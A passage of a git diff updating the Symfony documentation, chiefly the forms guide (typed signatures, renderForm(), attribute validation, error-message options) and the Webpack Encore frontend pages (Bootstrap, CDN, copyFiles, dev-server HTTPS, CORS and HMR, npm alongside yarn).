@@ -178,7 +179,7 @@ implements the interface and provides some utilities::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('task', TextType::class)
@@ -206,7 +207,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -241,7 +242,7 @@ the ``data_class`` option by adding the following to your form type class::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -254,9 +255,7 @@ the ``data_class`` option by adding the following to your form type class::
 Rendering Forms
 ---------------
 
-Now that the form has been created, the next step is to render it. Instead of
-passing the entire form object to the template, use the ``createView()`` method
-to build another object with the visual representation of the form::
+Now that the form has been created, the next step is to render it::
 
     // src/Controller/TaskController.php
     namespace App\Controller;
@@ -265,22 +264,32 @@ to build another object with the visual representation of the form::
     use App\Form\Type\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
             // ...
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->render('task/new.html.twig', [
-                'form' => $form->createView(),
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
             ]);
         }
     }
 
+In versions prior to Symfony 5.3, controllers used the method
+``$this->render('...', ['form' => $form->createView()])`` to render the form.
+The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
+status code in the response automatically when the submitted form is not valid.
+
+.. versionadded:: 5.3
+
+    The ``renderForm()`` method was introduced in Symfony 5.3.
+
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 
@@ -343,13 +352,13 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
 Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
@@ -374,34 +383,35 @@ Processing a form means to translate user-submitted data back to the properties
 of an object. To make this happen, the submitted data from the user must be
 written into the form object::
 
+    // src/Controller/TaskController.php
+
     // ...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function new(Request $request)
+    class TaskController extends AbstractController
     {
-        // just setup a fresh $task object (remove the example data)
-        $task = new Task();
+        public function new(Request $request): Response
+        {
+            // just setup a fresh $task object (remove the example data)
+            $task = new Task();
 
-        $form = $this->createForm(TaskType::class, $task);
+            $form = $this->createForm(TaskType::class, $task);
 
-        $form->handleRequest($request);
-        if ($form->isSubmitted() && $form->isValid()) {
-            // $form->getData() holds the submitted values
-            // but, the original `$task` variable has also been updated
-            $task = $form->getData();
+            $form->handleRequest($request);
+            if ($form->isSubmitted() && $form->isValid()) {
+                // $form->getData() holds the submitted values
+                // but, the original `$task` variable has also been updated
+                $task = $form->getData();
 
-            // ... perform some action, such as saving the task to the database
-            // for example, if Task is a Doctrine entity, save it!
-            // $entityManager = $this->getDoctrine()->getManager();
-            // $entityManager->persist($task);
-            // $entityManager->flush();
+                // ... perform some action, such as saving the task to the database
 
-            return $this->redirectToRoute('task_success');
-        }
+                return $this->redirectToRoute('task_success');
+            }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+            return $this->renderForm('task/new.html.twig', [
+                'form' => $form,
+            ]);
+        }
     }
 
 This controller follows a common pattern for handling forms and has three
@@ -430,18 +440,22 @@ possible paths:
     that prevents the user from being able to hit the "Refresh" button of
     their browser and re-post the data.
 
-.. caution::
-
-    The ``createView()`` method should be called *after* ``handleRequest()`` is
-    called. Otherwise, when using :doc:`form events </form/events>`, changes done
-    in the ``*_SUBMIT`` events won't be applied to the view (like validation errors).
-
 .. seealso::
 
     If you need more control over exactly when your form is submitted or which
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
+.. tip::
+
+    If you need to render and process the same form in different templates,
+    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
+    that processes the form:
+
+    .. code-block:: twig
+
+        {{ render(controller('App\\Controller\\TaskController::new')) }}
+
 .. _validating-forms:
 
 Validating Forms
@@ -490,6 +504,23 @@ object.
             protected $dueDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Task.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Task
+        {
+            #[Assert\NotBlank]
+            public $task;
+
+            #[Assert\NotBlank]
+            #[Assert\Type(\DateTime::class)]
+            protected $dueDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -504,7 +535,7 @@ object.
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
@@ -534,7 +565,7 @@ object.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('task', new NotBlank());
 
@@ -553,6 +584,52 @@ To see the second approach - adding constraints to the form - and to
 learn more about the validation constraints, please refer to the
 :doc:`Symfony validation documentation </validation>`.
 
+Form Validation Messages
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.2
+
+    The ``legacy_error_messages`` option was introduced in Symfony 5.2
+
+The form types have default error messages that are more clear and
+user-friendly than the ones provided by the validation constraints. To enable
+these new messages set the ``legacy_error_messages`` option to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            form:
+                legacy_error_messages: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form legacy-error-messages="false"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->legacyErrorMessages(false);
+        };
+
 Other Common Form Features
 --------------------------
 
@@ -571,11 +648,11 @@ argument of ``createForm()``::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
-            $dueDateIsRequired = ...
+            $dueDateIsRequired = ...;
 
             $form = $this->createForm(TaskType::class, $task, [
                 'require_due_date' => $dueDateIsRequired,
@@ -599,7 +676,7 @@ options they accept using the ``configureOptions()`` method::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 // ...,
@@ -623,7 +700,7 @@ Now you can use this new form option inside the ``buildForm()`` method::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -678,8 +755,7 @@ Set the ``label`` option on fields to define their labels explicitly::
 .. tip::
 
     By default, ``<label>`` tags of required fields are rendered with a
-    ``required`` CSS class, so you can display an asterisk for required
-    fields applying these CSS styles:
+    ``required`` CSS class, so you can display an asterisk by applying a CSS style:
 
     .. code-block:: css
 
@@ -699,6 +775,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
     // src/Controller/TaskController.php
     namespace App\Controller;
 
+    // ...
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Form\Extension\Core\Type\DateType;
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
@@ -706,7 +783,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -727,10 +804,11 @@ When building the form in a class, pass the action and method as form options::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -758,7 +836,8 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. See the :ref:`configuration-framework-http_method_override` option.
+    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    option must be enabled for this to work.
 
 Changing the Form Name
 ~~~~~~~~~~~~~~~~~~~~~~
@@ -775,13 +854,15 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Form\FormFactoryInterface;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(FormFactoryInterface $formFactory): Response
         {
             $task = ...;
-            $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
+            $form = $formFactory->createNamed('my_name', TaskType::class, $task);
 
             // ...
         }
@@ -839,7 +920,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // if you don't define field options, you can omit the second argument
@@ -898,16 +979,20 @@ If you need extra fields in the form that won't be stored in the object (for
 example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
+    // ...
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class TaskType extends AbstractType
     {
-        $builder
-            ->add('task')
-            ->add('dueDate')
-            ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
-            ->add('save', SubmitType::class)
-        ;
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            $builder
+                ->add('task')
+                ->add('dueDate')
+                ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
+                ->add('save', SubmitType::class)
+            ;
+        }
     }
 
 These "unmapped fields" can be set and accessed in a controller with::
@@ -955,6 +1040,7 @@ Form Themes and Customization:
     :maxdepth: 1
 
     /form/bootstrap4
+    /form/bootstrap5
     /form/form_customization
     /form/form_themes
 
diff --git a/frontend.rst b/frontend.rst
index 47d3111dd33..b95f0aa216e 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -61,7 +61,6 @@ Optimizing
 * :doc:`Using a CDN </frontend/encore/cdn>`
 * :doc:`/frontend/encore/code-splitting`
 * :doc:`/frontend/encore/split-chunks`
-* :doc:`Creating a "Shared" entry for re-used modules </frontend/encore/shared-entry>`
 * :doc:`/frontend/encore/url-loader`
 
 Guides
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 0fe3f5ff987..336acfbd295 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -83,7 +83,7 @@ version string::
                 $this->hashes = $this->loadManifest();
             }
 
-            return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
+            return $this->hashes[$path] ?? '';
         }
 
         public function applyVersion(string $path)
@@ -190,12 +190,13 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option:
 
         // config/packages/framework.php
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
+        use Symfony\Config\FrameworkConfig;
 
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version_strategy' => GulpBusterVersionStrategy::class,
-            ],
-        ]);
+            $framework->assets()
+                ->versionStrategy(GulpBusterVersionStrategy::class)
+            ;
+        };
 
 .. _`gulp-buster`: https://www.npmjs.com/package/gulp-buster
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 86bdb812b94..c8f4d1b743e 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -12,12 +12,12 @@ To do that, modify the config after fetching it from Encore:
 
     // webpack.config.js
 
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     // ... all Encore config here
 
     // fetch the config, then modify it!
-    var config = Encore.getWebpackConfig();
+    const config = Encore.getWebpackConfig();
 
     // add an extension
     config.resolve.extensions.push('json');
@@ -105,8 +105,12 @@ prefer to build configs separately, pass the ``--config-name`` option:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn encore dev --config-name firstConfig
 
+    # if you use the npm package manager
+    $ npm run dev -- --config-name firstConfig
+
 Next, define the output directories of each build:
 
 .. code-block:: yaml
@@ -118,6 +122,19 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
+Also define the asset manifests for each build:
+
+.. code-block:: yaml
+
+    # config/packages/assets.yaml
+    framework:
+        assets:
+            packages:
+                first_build:
+                    json_manifest_path: '%kernel.project_dir%/public/first_build/manifest.json'
+                second_build:
+                    json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
+
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 
@@ -208,8 +225,8 @@ The following code is equivalent:
 The following loaders are configurable with ``configureLoaderRule()``:
   - ``javascript`` (alias ``js``)
   - ``css``
-  - ``images``
-  - ``fonts``
+  - ``images`` (but use ``configureImageRule()`` instead)
+  - ``fonts`` (but use ``configureFontRule()`` instead)
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 083e45528fc..95ba6086913 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -24,7 +24,7 @@ Need to extend the Babel configuration further? The easiest way is via
             babelConfig.plugins.push('styled-jsx/babel');
         }, {
             // node_modules is not processed through Babel by default
-            // but you can whitelist specific modules to process
+            // but you can allow some specific modules to be processed
             includeNodeModules: ['foundation-sites'],
 
             // or completely control the exclude rule (note that you
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f1e28cabc37..a41475d8eec 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,14 +1,18 @@
 Using Bootstrap CSS & JS
 ========================
 
-Want to use Bootstrap (or something similar) in your project? No problem!
-First, install it. To be able to customize things further, we'll install
-``bootstrap``:
+This article explains how to install and integrate the `Bootstrap CSS framework`_
+in your Symfony application using :doc:`Webpack Encore </frontend>`.
+First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add bootstrap --dev
 
+    # if you use the npm package manager
+    $ npm install bootstrap --save-dev
+
 Importing Bootstrap Styles
 --------------------------
 
@@ -37,11 +41,18 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires jQuery and Popper.js, so make sure you have this installed:
+First, install the JavaScript dependencies required by the Bootstrap version
+used in your application:
 
 .. code-block:: terminal
 
-    $ yarn add jquery popper.js --dev
+    # if you use the Yarn package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ yarn add jquery @popperjs/core --dev
+
+    # if you use the npm package manager
+    # (jQuery is only required in versions prior to Bootstrap 5)
+    $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
@@ -79,3 +90,5 @@ and CSS like normal:
     // require 2 CSS files needed
     require('bootstrap-star-rating/css/star-rating.css');
     require('bootstrap-star-rating/themes/krajee-svg/theme.css');
+
+.. _`Bootstrap CSS framework`: https://getbootstrap.com/
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..267781da3d0 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -6,15 +6,15 @@ built files are uploaded to the CDN, configure it in Encore:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        .setOutputPath('public/build/')
-        // in dev mode, don't use the CDN
-        .setPublicPath('/build');
-        // ...
-    ;
+      Encore
+          .setOutputPath('public/build/')
+          // in dev mode, don't use the CDN
+          .setPublicPath('/build');
+          // ...
+      ;
 
     + if (Encore.isProduction()) {
     +     Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net');
@@ -39,6 +39,10 @@ pages also use the CDN. Fortunately, the
 :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` paths are updated
 to include the full URL to the CDN.
 
+When deploying to a subdirectory of your CDN, you must add the path at the end of your URL -
+e.g. ``Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net/awesome-website')``
+will generate assets URLs like ``https://my-cool-app.com.global.prod.fastly.net/awesome-website/dashboard.js``
+
 If you are using ``Encore.enableIntegrityHashes()`` and your CDN and your domain
 are not the `same-origin`_, you may need to set the ``crossorigin`` option in
 your webpack_encore.yaml configuration to ``anonymous`` or ``use-credentials``
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index 7ea5a541622..6981ec2f76a 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -16,7 +16,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
 
     // returns the final, public path to this file
     // path is relative to this file - e.g. assets/images/logo.png
-    const logoPath = require('../images/logo.png');
+    import logoPath from '../images/logo.png';
 
     let html = `<img src="${logoPath}" alt="ACME logo">`;
 
@@ -28,21 +28,21 @@ Referencing Image files from a Template
 
 To reference an image file from outside of a JavaScript file that's processed by
 Webpack - like a template - you can use the ``copyFiles()`` method to copy those
-files into your final output directory.
+files into your final output directory. First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
-        .setOutputPath('public/build/')
+      Encore
+          // ...
+          .setOutputPath('public/build/')
 
     +     .copyFiles({
     +         from: './assets/images',
     +
     +         // optional target path, relative to the output dir
-    +         //to: 'images/[path][name].[ext]',
+    +         to: 'images/[path][name].[ext]',
     +
     +         // if versioning is enabled, add the file hash too
     +         //to: 'images/[path][name].[hash:8].[ext]',
@@ -51,19 +51,23 @@ files into your final output directory.
     +         //pattern: /\.(png|jpg|jpeg)$/
     +     })
 
-This will copy all files from ``assets/images`` into ``public/build`` (the output
-path). If you have :doc:`versioning enabled <versioning>`, the copied files will
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+This will copy all files from ``assets/images`` into ``public/build/images``.
+If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
 
 To render inside Twig, use the ``asset()`` function:
 
 .. code-block:: html+twig
 
-    {# assets/images/logo.png was copied to public/build/logo.png #}
-    <img src="{{ asset('build/logo.png') }}" alt="ACME logo">
+    {# assets/images/logo.png was copied to public/build/images/logo.png #}
+    <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo">
 
-    {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #}
-    <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo">
+    {# assets/images/subdir/logo.png was copied to public/build/images/subdir/logo.png #}
+    <img src="{{ asset('build/images/subdir/logo.png') }}" alt="ACME logo">
 
 Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option,
 which tells the ``asset()`` function to read the final paths from the ``manifest.json``
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 66ce1f7c5cc..6e0957a085c 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -50,14 +50,17 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
     + var webpack = require('webpack');
 
-    Encore
-        // ...
+      Encore
+          // ...
 
-    +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
-    ;
+    +     .addPlugin(new webpack.IgnorePlugin({
+              resourceRegExp: /^\.\/locale$/,
+              contextRegExp: /moment$/,
+          }))
+      ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader
 .. _`plugins`: https://webpack.js.org/plugins/
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4d0904125cb..f0974197f1b 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -6,42 +6,41 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+    # if you use the npm package manager
+    $ npm run dev-server
+
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
-Enabling HTTPS using the Symfony Web Server
--------------------------------------------
-
-If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
-you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
-server SSL certificate:
-
-.. code-block:: terminal
-
-    # Unix-based systems
-    $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12
-
-    # Windows
-    $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12
-
 dev-server Options
 ------------------
 
+.. caution::
+
+    Encore uses ``webpack-dev-server`` version 4, which at the time of Encore's
+    1.0 release was still in beta and was not documented. See the `4.0 CHANGELOG`_
+    for changes.
+
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
 .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+    # if you use the Yarn package manager
+    $ yarn encore dev-server --port 9000
+
+    # if you use the npm package manager
+    $ npm run dev-server -- --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
@@ -66,53 +65,72 @@ method in your ``webpack.config.js`` file:
 
     The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4.
 
-Hot Module Replacement HMR
---------------------------
+Enabling HTTPS using the Symfony Web Server
+-------------------------------------------
 
-Encore *does* support `HMR`_ for :doc:`Vue.js </frontend/encore/vuejs>`, but
-does *not* work for styles anywhere at this time. To activate it, pass the ``--hot``
-option:
+If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS,
+you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web
+server SSL certificate:
 
-.. code-block:: terminal
+.. code-block:: diff
 
-    $ ./node_modules/.bin/encore dev-server --hot
+      // webpack.config.js
+      // ...
+    + const path = require('path');
 
-If you want to use SSL with self-signed certificates, add the ``--https``,
-``--pfx=``, and  ``--allowed-hosts`` options to the ``dev-server`` command in
-the ``package.json`` file:
+      Encore
+          // ...
 
-.. code-block:: diff
+    +     .configureDevServerOptions(options => {
+    +         options.https = {
+    +             pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +         }
+    +     })
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
 
-If you experience issues related to CORS (Cross Origin Resource Sharing), add
-the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
-command in the ``package.json`` file:
+.. caution::
 
-.. code-block:: diff
+    Make sure to **not** pass the ``--https`` flag at the command line when
+    running ``encore dev-server``. This flag was required before 1.0, but now
+    will cause your config to be overridden.
 
-    {
-        ...
-        "scripts": {
-    -        "dev-server": "encore dev-server",
-    +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+CORS Issues
+-----------
 
-.. caution::
+If you experience issues related to CORS (Cross Origin Resource Sharing), set
+the following option:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.allowedHosts = 'all';
+            // in older Webpack Dev Server versions, use this option instead:
+            // options.firewall = false;
+        })
+
+Beware that this is not a recommended security practice in general, but here
+it's required to solve the CORS issue.
+
+Hot Module Replacement HMR
+--------------------------
+
+Hot module replacement is a superpower of the ``dev-server`` where styles and
+(in some cases) JavaScript can automatically update without needing to reload
+your page. HMR works automatically with CSS (as long as you're using the
+``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
+(like :doc:`Vue.js </frontend/encore/vuejs>`).
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
-    here it's required to solve the CORS issue.
+.. versionadded:: 1.0.0
 
+    Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line
+    to enable HMR. You also needed to disable CSS extraction to enable HMR for
+    CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index c6c6d86c257..4fbace849f4 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock``.
+You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -63,11 +63,11 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .setOutputPath('public/build/')
+          .setOutputPath('public/build/')
 
     -     .setPublicPath('/build')
     +     // this is your *true* public path
@@ -76,7 +76,7 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
     +     // this is now needed so that your manifest.json keys are still `build/foo.js`
     +     // (which is a file that's used by Symfony's `asset()` function)
     +     .setManifestKeyPrefix('build')
-    ;
+      ;
 
 If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
 Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
@@ -105,8 +105,9 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn, you can require / import it to use
-it. For example, after running ``yarn add respond.js``, you try to require that module:
+Usually, after you install a package via yarn or npm, you can require / import
+it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+you try to require that module:
 
 .. code-block:: javascript
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 8241dbcd0b2..2452dbeacae 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,7 +1,10 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_ and also the `Yarn package manager`_.
+First, make sure you `install Node.js`_. Optionally you can also install the
+`Yarn package manager`_. In the next sections you will always see the commands
+for both ``npm`` and ``yarn``, but you only need to run one of them.
+
 The following instructions depend on whether you are installing Encore in a
 Symfony application or not.
 
@@ -14,8 +17,13 @@ project:
 .. code-block:: terminal
 
     $ composer require symfony/webpack-encore-bundle
+
+    # if you use the Yarn package manager
     $ yarn install
 
+    # if you use the npm package manager
+    $ npm install
+
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
 ``webpack.config.js`` file, and add ``node_modules/`` to ``.gitignore``. You can
@@ -32,9 +40,10 @@ Install Encore into your project via Yarn:
 
 .. code-block:: terminal
 
+    # if you use the Yarn package manager
     $ yarn add @symfony/webpack-encore --dev
 
-    # if you prefer npm, run this command instead:
